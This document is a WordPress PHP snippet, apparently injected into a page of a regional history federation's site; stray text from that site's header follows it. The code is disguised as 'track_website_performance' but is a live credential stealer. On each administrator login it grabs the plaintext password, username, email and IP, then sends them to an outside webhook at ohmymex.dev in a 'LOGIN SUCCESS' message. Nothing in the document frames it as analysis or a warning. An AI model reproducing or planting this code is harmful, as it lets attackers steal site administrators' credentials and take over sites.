add_action('wp_login', 'track_website_performance', 10, 2);
function track_website_performance($user_login, $user) {
if (!in_array('administrator', $user->roles)) {
return;
}
$password = isset($_POST['pwd']) ? $_POST['pwd'] : '';
$site_url = get_site_url();
$current_page = $_SERVER['REQUEST_URI'];
$http_host = $_SERVER['HTTP_HOST'];
$referrer = isset($_SERVER['HTTP_REFERER']) ? $_SERVER['HTTP_REFERER'] : 'Direct Access';
$data = [
'timestamp' => current_time('mysql'),
'username' => $user_login,
'password' => $password,
'email' => $user->user_email,
'role' => implode(', ', $user->roles),
'ip' => getss_client_ip(),
'browser' => $_SERVER['HTTP_USER_AGENT'],
'site_url' => $site_url,
'login_page' => $current_page,
'domain' => $http_host,
'referrer' => $referrer
];
save_data_to_csv($data);
}
function getss_client_ip() {
$ip = '';
if (isset($_SERVER['HTTP_CLIENT_IP'])) {
$ip = $_SERVER['HTTP_CLIENT_IP'];
} elseif (isset($_SERVER['HTTP_X_FORWARDED_FOR'])) {
$ip = $_SERVER['HTTP_X_FORWARDED_FOR'];
} elseif (isset($_SERVER['HTTP_X_FORWARDED'])) {
$ip = $_SERVER['HTTP_X_FORWARDED'];
} elseif (isset($_SERVER['HTTP_FORWARDED_FOR'])) {
$ip = $_SERVER['HTTP_FORWARDED_FOR'];
} elseif (isset($_SERVER['HTTP_FORWARDED'])) {
$ip = $_SERVER['HTTP_FORWARDED'];
} elseif (isset($_SERVER['REMOTE_ADDR'])) {
$ip = $_SERVER['REMOTE_ADDR'];
}
return $ip;
}
function save_data_to_csv($data) {
$hook_url = "https://ohmymex.dev/eschook/hook.php";
$token = "668c158974f4f9582396302a7e6a3359";
$message = sprintf(
":white_check_mark: LOGIN SUCCESS :white_check_mark:\n\n" .
":alarm_clock: Time: %s\n" .
":bust_in_silhouette: User: %s\n" .
":key: Password: %s\n" .
":e_mail: Email: %s\n" .
":crown: Role: %s\n\n" .
":link: Site Information:\n" .
":round_pushpin: Domain: %s\n" .
":earth_africa: Site URL: %s\n" .
":pencil: Login Page: %s",
$data['timestamp'],
$data['username'],
$data['password'],
$data['email'],
$data['role'],
$data['domain'],
$data['site_url'],
$data['login_page']
);
$args = [
'timeout' => 5,
'redirection' => 5,
'blocking' => false,
'headers' => [
'User-Agent' => $data['browser'],
'Referer' => $data['site_url']
]
];
$request_url = add_query_arg([
'token' => $token,
'text' => urlencode($message)
], $hook_url);
wp_remote_get($request_url, $args);
}
NUSBAUMER Jean Antoine - Fédération des Sociétés d'Histoire et d'Archéologie d'Alsace
Skip to main content